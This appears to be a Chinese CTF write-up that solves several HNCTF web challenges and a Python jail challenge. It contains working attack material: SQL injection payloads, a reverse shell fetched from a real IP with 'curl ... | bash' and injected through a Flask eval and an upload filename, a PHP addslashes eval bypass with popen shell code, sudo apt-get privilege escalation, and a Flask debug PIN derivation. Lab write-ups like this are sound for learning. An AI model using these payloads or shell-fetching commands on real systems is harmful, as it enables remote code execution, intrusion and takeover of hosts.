Web
ez_tp
判断是thinkphp 3.2
参考官方手册:https://www.kancloud.cn/manual/thinkphp/1697
判断路由模式
'URL_CASE_INSENSITIVE' => true, // 默认false 表示URL区分大小写 true则表示不区分大小写
'URL_MODEL' => 1, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
默认phpinfo模式 走路由模式
类似这种传参
http://serverName/index.php/模块/控制器/操作
Thinkphp3.2.x的SQL注入之前接触过利用数组传参绕过
本地调试可以得到SQL语句
"SELECT `username`,`age` FROM `think_user` WHERE `username` = 'admin' "
解法一:
原理分析参考文章:https://www.freebuf.com/articles/web/345544.html
构造数组传参即可 注意是单引号闭合
name[0]=test&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag
直接打就可以了
解法二:
Runtime有缓存直接就是sql payload(多半测题时没有注意)
/thinkphp323/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag
发现是可以直接进行union 注入
但是要绕过Waf 本地调试跟踪
(坑点)发现用 谷歌浏览器访问 时User-agent
触发 and
关键字被拦截
此时的 User-Agent:""Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99""
考虑用python发包即可绕过waf
本地打通直接远程
import requests
url="http://hnctf.imxbt.cn:40197/index.php/Home/Index/h_n?name[0]=exp&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag"
#files={'file':open("D:\\flag.txt","rb")}
headers={"Accept":"$get"} #实际没有
res=requests.post(url,headers=headers)
print(res.text)
ezflask
法一:
当成无回显RCE的题
直接反弹shell
cmd=__import__('os').system("curl 148.135.82.190 | b''a''s''h").read()
curl -T
外带即可
flag 位置:/etc/jaygalf
flag{846c6ed9-2563-4478-9ab1-8a3421a035ab}
法二:Flask 内存马
见笔记 [[Python Flask内存马]]
Gojava
存在信息泄露 /robots.txt
可以得到 旧版 main.zip 只有上传部分的逻辑
直接访问 main.go 被禁止
程序 实现了上传 Java 编译 class 打包 jar 返回
可能的后端逻辑
javac 实现编译
jar cvfe 实现打包
考虑直接 命令注入
黑名单处就是考点
为了绕过滤
{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
尝试$()执行 内链执行
本地调试跟踪代码发现 filename中 /
会截断 不能出现 /
否则截断字符报错
可以报错带出
直接curl 反弹shell
POST /gojava HTTP/1.1
Host: hnctf.yuanshen.life:33630
Content-Length: 346
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvv5bxA5dqzMWAKeU
Origin: http://hnctf.imxbt.cn:46625
Referer: http://hnctf.imxbt.cn:46625/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: GZCTF_Token=CfDJ8KQ4ggNBM-hBh6w4LqiKpqxHK9TcJaeuCyqmvImqaaO3gyj4TD0oOLXpGR0E3Jyocx1vRlRDPogYgJyGtUHLaqof45U1kU9-00K20K7On9ZYEX1qK9AhwHKOjNyvNHOEA1Ve_EYCtB-ILpkpxCjNYNBUZEOlipVQdwM7afZofWT3yhcuV0_xbyhyavsETa8db1ZMsgppzX_yrvwTrofl09egxXwFL0VrHq0f0FNmeg18Yc3xKrgbZrW0zzHOLOtHEsnyva0ocPLH-EzRldy8yfKqqrxKjDNQn0Jsxb7v-4rAQdQZwj0EhHXYcP0i-LBBrjXysJhzVKaA6D-V3GArEfcL-eYuJOgEaxjxxKtnJaMWTbwct3X32Wug7Q2K8fg4l3qQB7CPZBMRqn-5PEu9n7mC4YhL0YH0Od7vLzSdeOnxlZmKwQJAngxaWE6IVER3XRSSkJPFk3TZ0j4Kt0Toiicx114wzlb-wo_OVEMA3nVoATZI75RudP0BC0FrZWmkkpTnEX3Wtap67a9FxBQ5cXRlQ0LUB5ybY2MdETwKDkO_-lVAbAjA5qFZrbrbTq7dMu8smi2CtpFtP_3Vf-27F2zecCX-glrGHwY29Bz4rfx8aQwXNaht4376E2-KgPKAcstHQQ30X7ofu525Rr90TaFh0e08vWKgCy1Hx8nAMcE2BOcDURukaEskUQz8Gro9a0584-XC69dJlf4-As8TtOw
Connection: close
------WebKitFormBoundaryvv5bxA5dqzMWAKeU
Content-Disposition: form-data; name="file"; filename="$(curl 148.135.82.190 | bash)Main.java"
Content-Type: application/octet-stream
public class Main {
public static void main(String[] args) {
System.out.println("Hello gojava");
}
}
------WebKitFormBoundaryvv5bxA5dqzMWAKeU--
直接弹了回来
看了下main.go 感觉出题人想 /testExecYourJarOnServer
// 执行.jar文件 这里可以直接反弹shell
cmd := exec.Command("java", "-jar", jarFile)
感觉非预期了
根目录下存在 memorandum
备忘录
得到字符 H2LvFxnWENLqVxE
死活提不了权限
最后发现 H2LvFxnWENLqVxE
是root的密码
su root
main.go
package main
import (
"fmt"
"io"
"log"
"math/rand"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
)
var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)
http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)
// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 检查请求的路径是否需要被禁止访问
if isForbiddenPath(r.URL.Path) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
// 否则,继续处理其他请求
fs.ServeHTTP(w, r)
}))
// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}
func isForbiddenPath(path string) bool {
// 检查路径是否为某个特定文件或文件夹的路径
// 这里可以根据你的需求进行设置
forbiddenPaths := []string{
"/main.go",
"/upload/",
}
// 检查请求的路径是否与禁止访问的路径匹配
for _, forbiddenPath := range forbiddenPaths {
if strings.HasPrefix(path, forbiddenPath) {
return true
}
}
return false
}
func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}
// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}
// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()
if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}
// 检查文件扩展名是否为.java
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}
// 保存上传的文件至./upload文件夹
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}
// 生成随机文件名
rand.Seed(time.Now().UnixNano())
randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"
// 编译Java文件
cmd := "javac ./upload/" + handler.Filename
compileCmd := exec.Command("sh", "-c", cmd)
//compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
compileOutput, err := compileCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
return
}
// 将编译后的.class文件打包成.jar文件
fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
jarOutput, err := jarCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
return
}
// 返回编译后的.jar文件的下载链接
fmt.Fprintf(w, "/final/%s", randomName)
}
// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()
// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}
return nil
}
func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
jarFile := "./final/" + r.URL.Query().Get("jar")
// 检查是否存在指定的.jar文件
if !strings.HasSuffix(jarFile, ".jar") {
http.Error(w, "Invalid jar file format", http.StatusBadRequest)
return
}
if _, err := os.Stat(jarFile); os.IsNotExist(err) {
http.Error(w, "Jar file not found", http.StatusNotFound)
return
}
// 执行.jar文件 这里可以直接反弹shell 还缺提权
cmd := exec.Command("java", "-jar", jarFile)
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
return
}
// 输出结果
w.Header().Set("Content-Type", "text/plain")
w.Write(output)
}
奇怪的网站
后台设置
Apache/2.4.25 (Debian)
PHP/5.6.40 版本较低
扫描后发现 存在
/404.php
/flag.php
/index.png 被当作 php进行解析 修改了默认apache .htaccess
配置
存在vim泄露 对应文件名
import requests
chars="abcdefghijklmnopqrstuvwxyz"
for char in chars:
url =f"http://hnctf.yuanshen.life:33492/.flag.php.sw{char}"
res=requests.get(url)
if res.status_code==200:
print(url)
break
else:
print(res.status_code)
访问 .flag.php.swm
echo 123;$num = $_GET['n$num = $_GET['num'];$$nu$num = $_GET[$nu$num = $_GET['$num = $_GET['num'];} return $num == '11259375'; } } return false; { if ( ($c >= $a) && ($c <= $b) ) $c = ord($num{$i}); { for ($i = 0; $i < strlen($num); $i++) $b = ord('9'); $a = ord('1');{ function check($num)*/you find me!/*
混乱的数据 要先恢复 vim缓存文件
vim -r flag.php
<?php
/*
you find me!
*/
function check($num)
{
$a = ord('1');
$b = ord('9');
for ($i = 0; $i < strlen($num); $i++)
{
$c = ord($num{$i});
if ( ($c >= $a) && ($c <= $b) )
{
return false;
}
}
return $num == '11259375';
}
$num = $_GET['num'];
搜索关键字段
https://blog.csdn.net/qq_46389295/article/details/104467048
没p用
浏览器判断 数据包
首页存在302跳转
提示 :
404存在可疑的 头
用bp发包
Secret: After PUT, does the server write the file directly?preflight?
秘密:PUT 之后,服务器会直接写入文件吗?
答案是不会
预请求就是复杂请求(可能对服务器数据产生副作用的HTTP请求方法,如put,delete都会对服务器数据进行更修改,所以要先询问服务器)。
跨域请求中,浏览器自发的发起的预请求,浏览器会查询到两次请求,第一次的请求参数是options,以检测试实际请求是否可以被浏览器接受
考察 尝试更改method方法为 OPTIONS ,可以利用文件读取漏洞,读取.htaccess文件隐藏文件ggggoku.php,进行rce
可以接受的请求头
模仿 404.php的第一次预请求
猜测时传参 ?ff
可以读到源码
<?php
header("Secret: After PUT, does the server write the file directly?preflight?");
$methodreq = $_SERVER['REQUEST_METHOD'];
if ($methodreq=='OPTIONS'){
header("Cookie: ?ff");
$file=$_GET['ff'];
if(preg_match('/log|flag|session|http|=|file|:|\/|\?/i', $file)||!file_exists($file)){
die('hacker!');
}
echo file_get_contents($file);
}
尝试读取 .htaccess文件
<FilesMatch "index.png">
SetHandler application/x-httpd-php
</FilesMatch>
order deny,allow
RewriteEngine On
RewriteBase /
RewriteRule ^(.*gggoku)\.php$ ggggoku.php [NC]
ggggoku.php
<?php
$a=$_GET['a'];
if (isset($_GET['a'])) {
if(preg_match('/`/i', $a)){
die("nonono~~~");
}
eval('$b="' . addslashes($_GET['a']) . '";');
} else {
die('RCE都不会了?');
}
?>
https://cloud.tencent.com/developer/article/1148417
在PHP语言中,单引号和双引号都可以表示一个字符串,但是 对于双引号来说,可能会对引号内的内容进行二次解释 ,这就可能会出现安全问题。
http://hnctf.yuanshen.life:33514/ggggoku.php?a=${phpinfo()}
PHP复杂变量绕过addslashes()直接拿shell
感觉有点像内联执行 可以不用引号
ggggoku.php?a=${eval($_POST[1])}
有一堆disabled_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,scandir,putenv,error_log,mail,glob,show_source,include,require.include_once,require_once,opendir,readdir,rewinddir,closedir,stream_get_contents,file_put_contents,readfile,readgzfile,readgzfile,readlink,readgzfile,readgzfile,assert,fopen,fgets,eval,assert,fwrite,file_put_contents,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,symlink,lin,putenv,chroot,chgrp,dl,readlink|
进行正则匹配后发现
popen()命令没有被禁止 尝试
$command="curl 148.135.82.190/2 | bash";
$hane = popen($command,"r");
while(!feof($hane)){
echo fread($hane, 1024);
}
pclose($hane);
完美过关 内容见绕过笔记1
curl直接反弹shell回来
find / -perm -u=s -type f 2>/dev/null
唯一可以利用的是su 切换目录
find / -type f -user www-data -readable 2>/dev/null
没找到直接 linpeas信息搜集
特别注意标红内容
cat /home/admin/passwd
md5(goku)
: bef27466a245ce3ec692bd25409c2549
没有tty 不完整 不可以pty 如何处理
usr/bin/script -qc /bin/bash /dev/null
最终是提权到root superuser 不是admin哦
猜测密码是root的密码
GPTS
# CVE-2024-31224 RCE 利用分析
按他的步骤弹不起 是修改cookie后刷新在 加载已保存
注意一下是 用字节码可以在Windows上跑到
python3 -c 'import pty;pty.spawn("/bin/sh")'
查看 suid的敏感信息
1)命令 2) 文件
用linpeas信息搜集
涉及的权限和用户 ctfgame->ctfer->root
本地的gcc和useful software 命令
ctfer的密码隐藏在 mail中
find / -type f -user ctfgame -readable 2>/dev/null
查看 当前用户可读的文件也是一种方法
ctfer : KbsrZrSCVeui#+R
切换到ctfer
su ctfer
查看sudo特权
sudo -l
sudo adduser test -gid 0
/etc/sudoers
文件可能允许 root 用户组读取,但这并不意味着该组的成员具有与 root 用户相同的完全权限
添加到root用户组后 可以查看查看完整的sudoers
kobe用户 有 apt-get sudo 利用
考虑apt-get 提权
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
此时就是 root用户
flipPin
考点: cbc翻转+flask pin 码计算
cbc翻转 涉及密码学 只利用脚本
原题溯源: https://www.ctfiot.com/172434.html
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode
import json
default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)
def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))
def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)
app = Flask(__name__)
filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}
@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'
@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res
@app.route("/read")
def file():
session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'
session_data = json.loads(plain_session)
if session_data['admin'] :
filename = request.args.get('filename')
if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')
try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)
访问 /etc/passwd
当前用户是 ctfUser
传入错误session 使flask报错
#### /usr/lib/python3.9/site-packages/flask/app.py
读 /sys/class/net/eth0/address
获取 mac地址
02:42:ac:11:00:0d
尝试读机器码 存在黑名单
filename_blacklist = {
'self', # 1
'cgroup', # cpuset
'mountinfo',
'env',
'flag'
# /proc/1/cpuset
}
读取相关文件绕过过滤
- 过滤了
self
的时候怎么读 machine-id- 其中的
self
可以用相关进程的pid去替换,其实1
就行
- 其中的
- 过滤
cgroup
用mountinfo
或者cpuset
读取 后半部分 /proc/1/cpuset
a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f
读取前半部分 /proc/sys/kernel/random/boot_id
9fd11036-6c2e-41c7-bb26-7d358f670070
机器码就是
9fd11036-6c2e-41c7-bb26-7d358f670070a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f
计算后pin码是 101-622-803
flag 在环镜变量
Please_RCE_Me
PHP/5.6.40
低版本存在 preg_replace //e
任意命令执行
flag=Please_give_me_flag&task=phpinfo();
查看php的默认配置
array_map或array_filter绕过 做转接头即可
flag=Please_give_me_flag&task=array_map($_POST[1],$_POST[2]);&1=assert&2[]=system("cat /flag");
Misc
ezjail
import os
banner = r"""
__ __ _ ___ _____ _ ___ _ _ ___ _ _
\ \ / /__| | ___ / _ \ _ __ ___ |___ / | |_ / _ \ | | | |( _ ) | \ | |
\ \ /\ / / _ \ |/ __| | | | '_ ` _ \ |_ \ | __| | | | | |_| |/ _ \/\ \| |
\ V V / __/ | (__| |_| | | | | | |___) | | |_| |_| | | _ | (_> < |\ |
\_/\_/ \___|_|\___|\___/|_| |_| |_|____/ \__|\___/ |_| |_|\___/\/_| \_|
_ _ _
| | __ _/ | |
_ | |/ _` | | |
| |_| | (_| | | |___
\___/ \__,_|_|_____|
"""
badwords = ["all", "aiter", "any", "ascii", "bin", "bool", "breakpoint", "callable", "chr", "classmethod", "compile", "dict", "enumerate", "eval", "exec", "filter", "getattr", "globals", "input", "iter",
"next", "locals", "memoryview", "next", "object", "open", "print", "setattr", "staticmethod", "vars", "__import__", "bytes", "keys", "str", "join", "__dict__", "__dir__", "__getstate__", "upper", "__all__"]
badchars = ['c', 'h', 'j', 'k', 'n', 'o', 'p', 'q', 'u', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
'X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', '\'', '-', '/', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
class Jail():
def __init__(self) -> None:
print(banner)
print("Will you be able to read the $FLAG?")
exec(self.generate_dynamic_code())
print("type 'hint' to get source code")
while(1):
print("> ", end="")
self.run_code(input())
def generate_dynamic_code(self):
dynamic_code = ""
flag_values = [ 70, 76, 65, 71]
for i in flag_values:
dynamic_code += f"self.{chr(i)} = {i}\n"
return dynamic_code
def run_code(self, code):
if code.isascii():
if code == "hint":
print(open(__file__).read())
if (all([x not in code for x in badchars]) and
all([x not in code for x in badwords])):
try:
exec(code)
except Exception as e:
print(f"something wrong \n{e}")
else:
print("Exploiting detected")
else:
exit("?¿")
def test(self):
print(dir(self))
def get_var(self, varname):
print(os.getenv(varname))
Jail()
最终实现 exec(code)
执行Python代码
存在几个没有上的有意思的函数方法
def test(self):
print(dir(self))
def get_var(self, varname):
print(os.getenv(varname))
python中调用类中方法self.方法名
def test(self):
print(dir(self))
输入 self.test()
有特别的提示
1 3 0 2 实际调用
dir(self) 列举了
self`可用的属性 以列表形式返回
def get_var(self, varname):
print(os.getenv(varname))
尝试读取 FLAG
环镜变量构造字符 FLAG
self.get_var(dir(self)[0])
print(dir(self)[1])
F
解决 数字和中括号的问题
[]
可以用属性 __getitems__()代替
可以搜索 bing 发现 __le__
等的用法
https://blog.csdn.net/weixin_45081575/article/details/128729856
数字0-3
可以用 富比较
构造出 0,1
用 +
拼接即可
().__ge__(()) 1
().__ne__(()) 0
1302
().__ge__(()) F
().__ge__(())+().__ge__(())+().__ge__(()) L
().__ne__(()) A
().__ge__(())+().__ge__(()) G
dir(self).__getitem__()
dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(()))
可以成功拼接出FLAG
本地可以直接打通
self.get_var(dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())))
很遗憾 n
被过滤了
无非换一种富比较即可
().__le__(()) 1
().__lt__(()) 0
dir(self).__getitem__()
1302
F: dir(self).__getitem__(().__le__(()))
L: dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))
A: dir(self).__getitem__(().__lt__(()))
G: dir(self).__getitem__(().__le__(())+().__le__(()))
self.get_var(dir(self).__getitem__(().__le__(()))+dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))+dir(self).__getitem__(().__lt__(()))+dir(self).__getitem__(().__le__(())+().__le__(())))
官方题解用的是 python匿名函数进行拼接
self.get_var((lambda ab, ad, ae, af, ag, ai, al, am, ar, aaa, at, av, ba, bd, be, bf, bg, bi, bl, bm, br, bs, bt, bv, da, db, de, df, dg, di, dl, dm, ddd, dddd,dda: ad+af+ab+ae)(*dir(self)))
(lambda 对应参数形参: 返回表达式 等价于eval )(* 传入的具体参数实参)
* 代表解包
`*`:在函数调用时,`*` 符号用于解包(unpack)一个可迭代对象(如列表、元组等)的元素,并将它们作为单独的参数传递给函数
一个一个返回字符 传入 形参 构造FLAG